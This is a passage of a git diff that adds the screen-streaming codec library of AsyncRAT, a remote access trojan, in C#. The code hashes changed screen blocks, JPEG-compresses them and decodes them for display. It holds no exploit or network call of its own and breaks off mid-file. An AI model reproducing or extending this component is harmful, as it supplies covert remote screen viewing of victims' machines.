+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= buffer.Length + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs
new file mode 100644
index 0000000..ddbd18b
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs
@@ -0,0 +1,26 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Text;
+
+namespace StreamLibrary.Encoders.GridCoder
+{
+ internal class GridBlock
+ {
+ public Rectangle Rect { get; private set; }
+ public ulong Hash { get; private set; }
+ private GridEncoder encoder;
+
+ public GridBlock(Rectangle Rect, GridEncoder encoder)
+ {
+ this.encoder = encoder;
+ this.Rect = Rect;
+ CalculateHash();
+ }
+
+ public void CalculateHash()
+ {
+
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs
new file mode 100644
index 0000000..6cfcdfa
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs
@@ -0,0 +1,47 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary.Encoders.GridCoder
+{
+ public class GridEncoder : IEncoder
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+
+
+
+ public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
+ {
+
+
+
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
+ {
+ return null;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ return null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs
new file mode 100644
index 0000000..bc97633
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs
@@ -0,0 +1,24 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public enum CodecOption
+ {
+ ///
+ /// The Previous and next image size must be equal
+ ///
+ RequireSameSize,
+ ///
+ /// If the codec is having a stream buffer
+ ///
+ HasBuffers,
+ ///
+ /// The image will be disposed by the codec and shall not be disposed by the user
+ ///
+ AutoDispose,
+ /// No codec options were used
+ None
+ };
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs
new file mode 100644
index 0000000..06331f9
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs
@@ -0,0 +1,46 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public abstract class IEncoder
+ {
+ protected LzwCompression lzwCompression;
+ public abstract ulong CachedSize { get; internal set; }
+ protected object ImageProcessLock { get; private set; }
+
+ private int _imageQuality;
+ public int ImageQuality
+ {
+ get { return _imageQuality; }
+ set
+ {
+ _imageQuality = value;
+ lzwCompression = new LzwCompression(value);
+ }
+ }
+
+
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public IEncoder(int ImageQuality = 100)
+ {
+ this.ImageQuality = ImageQuality;
+ this.ImageProcessLock = new object();
+ }
+
+ public abstract int BufferCount { get; }
+ public abstract CodecOption CodecOptions { get; }
+ public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
+ public abstract unsafe Bitmap DecodeData(Stream inStream);
+ public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
+
+
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs
new file mode 100644
index 0000000..83e703c
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs
@@ -0,0 +1,46 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public abstract class IUnsafeCodec
+ {
+ protected JpgCompression jpgCompression;
+ protected LzwCompression lzwCompression;
+ public abstract ulong CachedSize { get; internal set; }
+ protected object ImageProcessLock { get; private set; }
+
+ private int _imageQuality;
+ public int ImageQuality
+ {
+ get { return _imageQuality; }
+ set
+ {
+ _imageQuality = value;
+ jpgCompression = new JpgCompression(value);
+ lzwCompression = new LzwCompression(value);
+ }
+ }
+
+
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public IUnsafeCodec(int ImageQuality = 100)
+ {
+ this.ImageQuality = ImageQuality;
+ this.ImageProcessLock = new object();
+ }
+
+ public abstract int BufferCount { get; }
+ public abstract CodecOption CodecOptions { get; }
+ public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
+ public abstract unsafe Bitmap DecodeData(Stream inStream);
+ public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs
new file mode 100644
index 0000000..3430223
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs
@@ -0,0 +1,35 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public abstract class IVideoCodec
+ {
+ public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
+ public delegate void VideoDecodeProgress(Bitmap bitmap);
+ public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
+
+ public abstract event VideoCodeProgress onVideoStreamCoding;
+ public abstract event VideoDecodeProgress onVideoStreamDecoding;
+ public abstract event VideoDebugScanningDelegate onCodeDebugScan;
+ public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
+ protected JpgCompression jpgCompression;
+ public abstract ulong CachedSize { get; internal set; }
+ public int ImageQuality { get; set; }
+
+ public IVideoCodec(int ImageQuality = 100)
+ {
+ this.jpgCompression = new JpgCompression(ImageQuality);
+ this.ImageQuality = ImageQuality;
+ }
+
+ public abstract int BufferCount { get; }
+ public abstract CodecOption CodecOptions { get; }
+ public abstract void CodeImage(Bitmap bitmap, Stream outStream);
+ public abstract Bitmap DecodeData(Stream inStream);
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs
new file mode 100644
index 0000000..d48beca
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs
@@ -0,0 +1,324 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeCacheCodec : IUnsafeCodec
+ {
+ private const int BlockCount = 5;
+ private const int HashBlockCount = 8192;
+
+ public override ulong CachedSize
+ {
+ get { return 0; }
+ internal set { }
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
+ }
+
+ private Bitmap decodedBitmap;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private PixelFormat EncodedFormat;
+ private MurmurHash2Unsafe hasher;
+ private SortedList> EncodeBuffer;
+ private Rectangle[] Offsets;
+ private BlockInfo[] EncodeHashBlocks;
+ private BlockInfo[] DecodeHashBlocks;
+
+ public ulong EncodedFrames { get; private set; }
+ public ulong DecodedFrames { get; private set; }
+
+ public UnsafeCacheCodec(int ImageQuality = 80)
+ : base(ImageQuality)
+ {
+ this.hasher = new MurmurHash2Unsafe();
+ this.Offsets = new Rectangle[BlockCount];
+ this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
+ this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
+ for (int i = 0; i < HashBlockCount; i++)
+ {
+ EncodeHashBlocks[i] = new BlockInfo();
+ DecodeHashBlocks[i] = new BlockInfo();
+ }
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ if (ImageSize.Width == 0 || ImageSize.Height == 0)
+ throw new ArgumentException("The width and height must be 1 or higher");
+ if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
+ throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
+
+ int PixelSize = 0;
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ int Stride = ImageSize.Width * PixelSize;
+ int RawLength = Stride * ImageSize.Height;
+
+ if (EncodedFrames == 0)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+
+ double size = (double)ImageSize.Width / (double)BlockCount;
+
+ //fix floating point here
+ for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
+ {
+ Offsets[i] = new Rectangle(j, 0, (int)size, 1);
+ }
+
+ EncodeBuffer = new SortedList>();
+ for (int y = 0; y < ImageSize.Height; y++)
+ {
+ for(int i = 0; i < Offsets.Length; i++)
+ {
+ if (!EncodeBuffer.ContainsKey(y))
+ EncodeBuffer.Add(y, new SortedList());
+ if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
+ EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
+ }
+ }
+ EncodedFrames++;
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List ImageOffsets = new List();
+ List ImageHashes = new List();
+
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ for (int i = 0; i < Offsets.Length; i++)
+ {
+ for (int y = 0; y < ImageSize.Height; y++)
+ {
+ Rectangle ScanRect = Offsets[i];
+ ScanRect.Y = y;
+
+ int offset = (y * Stride) + (ScanRect.X * PixelSize);
+
+ if (offset+Stride > Stride * ImageSize.Height)
+ break;
+
+ uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
+ uint BlockOffset = Hash % HashBlockCount;
+
+ BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
+
+ if (EncodeBuffer[y][ScanRect.X] != Hash)
+ {
+ if (!blockInfo.Hashes.ContainsKey(Hash))
+ {
+ int index = ImageOffsets.Count - 1;
+ if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
+ {
+ Rectangle rect = ImageOffsets[index].Location;
+ ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
+ }
+ else
+ {
+ ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
+ }
+
+ blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
+ ImageHashes.Add(Hash);
+ }
+ EncodeBuffer[y][ScanRect.X] = Hash;
+ }
+ }
+ }
+
+ if (ImageOffsets.Count > 0)
+ {
+ for (int i = 0; i < Offsets.Length; i++)
+ {
+ Rectangle TargetOffset = Offsets[i];
+ int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
+ Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ int blockStride = PixelSize * TargetOffset.Width;
+ List UsedOffsets = new List();
+
+ for (int j = 0; j < ImageOffsets.Count; j++)
+ {
+ Rectangle rect = ImageOffsets[j].Location;
+
+ if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
+ continue; //error in 1440p, did not tested futher
+
+ for (int o = 0, offset = 0; o < rect.Height; o++)
+ {
+ int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ UsedOffsets.Add(ImageOffsets[j]);
+ }
+ }
+ TmpBmp.UnlockBits(TmpData);
+ TmpBmp.Dispose();
+
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
+ if (UsedOffsets.Count > 0)
+ {
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
+ for (int j = 0; j < UsedOffsets.Count; j++)
+ {
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
+ outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
+ }
+ byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
+ outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
+ outStream.Write(CompressedImg, 0, CompressedImg.Length);
+ }
+
+
+ //TotalDataLength += (int)length + (4 * 5);
+ }
+ }
+ EncodedFrames++;
+ }
+
+ private int GetOffsetHeight(List ImageOffsets, Rectangle rect)
+ {
+ int height = 0;
+ for (int i = 0; i < ImageOffsets.Count; i++)
+ {
+ if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
+ height += ImageOffsets[i].Location.Height;
+ }
+ return height;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+ //return decodedBitmap;
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ return null;
+ }
+
+ private class BlockInfo
+ {
+ public SortedList Hashes { get; private set; }
+ public BlockInfo()
+ {
+ Hashes = new SortedList();
+ }
+ }
+ private class HashBlock
+ {
+ public bool Cached { get; set; }
+ public uint Hash { get; set; }
+ public Rectangle Location { get; set; }
+
+ public HashBlock(uint Hash, bool Cached, Rectangle Location)
+ {
+ this.Hash = Hash;
+ this.Cached = Cached;
+ this.Location = Location;
+ }
+ public HashBlock()
+ {
+
+ }
+ }
+ private class ImageOffset
+ {
+ public Rectangle Location { get; set; }
+ public List Hashes { get; set; }
+
+ public ImageOffset()
+ {
+ this.Hashes = new List();
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs
new file mode 100644
index 0000000..450d4fc
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs
@@ -0,0 +1,308 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeCachedStreamCodec : IUnsafeCodec
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.HasBuffers; }
+ }
+
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private static Size CheckBlock = new Size(50, 50);
+ private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
+ private List Frames = new List();
+ public const int MAX_FRAMES = 120;
+
+ private ulong[] DecodeBuffer;
+ private Bitmap DecodedBitmap;
+ private List DecodedFrames = new List();
+
+ public UnsafeCachedStreamCodec(int ImageQuality)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodedWidth == 0 && EncodedHeight == 0)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ return;
+ }
+
+ Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
+
+ int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
+ int RawSizeUsed = 0;
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+ List ChangedBlocks = new List();
+
+ for(int y = ScanArea.Y; y < ScanArea.Height; )
+ {
+ int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
+ for (int x = ScanArea.X; x < ScanArea.Width; )
+ {
+ int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
+ int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
+ decimal FinalHash = 0;
+
+ for (int h = 0; h < height; h++)
+ {
+ int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
+ FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
+ }
+
+ if(onCodeDebugScan != null)
+ onCodeDebugScan(new Rectangle(x, y, width, height));
+
+ bool FoundBlock = false;
+ decimal FoundHash = 0;
+ int FrameIndex = 0;
+ for (int i = 0; i < Frames.Count; i++)
+ {
+ decimal hash = Frames[i].GetHashBlock(x, y);
+ if (hash == FinalHash)
+ {
+ FrameIndex = i;
+ FoundBlock = true;
+ FoundHash = hash;
+ break;
+ }
+ }
+
+ frame.AddHashBlock(x, y, FinalHash);
+
+ if (!FoundBlock)
+ {
+ int index = ChangedBlocks.Count - 1;
+ Rectangle cBlock = new Rectangle(x, y, width, height);
+
+ if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
+ {
+ Rectangle rect = ChangedBlocks[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ ChangedBlocks[index] = cBlock;
+ }
+ /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
+ {
+ Rectangle rect = ChangedBlocks[index];
+ int newHeight = cBlock.Height + rect.Height;
+ cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
+ ChangedBlocks[index] = cBlock;
+ }*/
+ else
+ {
+ ChangedBlocks.Add(cBlock);
+ }
+ RawSizeUsed += BlockStride * height;
+ }
+ x += width;
+ }
+ y += height;
+ }
+
+ //write all the blocks
+ for (int i = 0; i < ChangedBlocks.Count; i++)
+ {
+ Rectangle rect = ChangedBlocks[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ ChangedBlocks.Clear();
+
+ Frames.Add(frame);
+ if (Frames.Count > MAX_FRAMES)
+ Frames.RemoveAt(0);
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (DecodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ DecodedFrames.Add(DecodedBitmap);
+ return DecodedBitmap;
+ }
+
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(DecodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return DecodedBitmap;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ return new Bitmap(10, 10);
+ }
+
+ private class HashedBlock
+ {
+ public int X { get; private set; }
+ public int Y { get; private set; }
+ public int Width { get; private set; }
+ public int Height { get; private set; }
+ public int FrameIndex { get; private set; }
+ public HashedBlock(int x, int y, int width, int height, int FrameIndex)
+ {
+ this.X = x;
+ this.Y = y;
+ this.Width = width;
+ this.Height = height;
+ this.FrameIndex = FrameIndex;
+ }
+
+ public override string ToString()
+ {
+ return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
+ }
+ }
+
+ private class Frame
+ {
+ public decimal[,] HashBlocks { get; private set; }
+
+ public Frame(int ImageWidth, int ImageHeight)
+ {
+ this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
+ }
+
+ public void AddHashBlock(int x, int y, decimal Hash)
+ {
+ x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
+ y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
+ this.HashBlocks[x, y] = Hash;
+ }
+ public decimal GetHashBlock(int x, int y)
+ {
+ x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
+ y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
+ return this.HashBlocks[x, y];
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
new file mode 100644
index 0000000..b4b0b8c
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
@@ -0,0 +1,365 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeMiniCodec : IUnsafeCodec
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private byte[] EncodeBuffer;
+ private Bitmap decodedBitmap;
+
